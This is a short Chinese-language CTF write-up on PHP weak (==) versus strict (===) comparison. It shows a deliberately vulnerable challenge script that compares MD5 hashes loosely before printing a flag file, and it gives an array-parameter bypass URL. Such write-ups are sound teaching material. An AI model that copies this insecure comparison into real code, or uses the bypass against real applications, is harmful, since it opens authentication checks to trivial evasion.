背景

在PHP中,存在两种类型的比较:强比较和弱比较。

  1. 弱比较是使用双等号==进行的比较。在进行弱比较时,如果两个操作数的类型不同,PHP会尝试进行类型转换,然后再进行比较。例如,字符串’0’和数字0在进行弱比较时,会被认为是相等的。
  2. 强比较是使用三等号===进行的比较。在进行强比较时,如果两个操作数的类型不同,那么它们就会被认为是不等的,即使它们的值相同。例如,字符串’0’和数字0在进行强比较时,会被认为是不等的。

在某些情况下,弱比较可能会导致意想不到的结果,从而产生安全问题。例如,如果一个应用程序使用弱比较来检查密码,可以通过提交特定的数据来绕过密码检查。

源码

<?php
error_reporting(0);

if ($_GET['var1'] != $_GET['var2'] && MD5($_GET['var1']) == MD5($_GET['var2'])) {
$flag = file_get_contents('/flag');
echo $flag;
} else {
echo "绕过PHP检测就可以得到FLAG";
}
?>

思路

有关强比较/弱比较漏洞的原理可参考:

https://www.yuque.com/shiyizhesonder/sonder39/xit572hsmwbxqkae

利用数组即可绕过,也可尝试其它绕过方法

http://ctf.seek2.top:32793/?var1[]=1&var2[]=2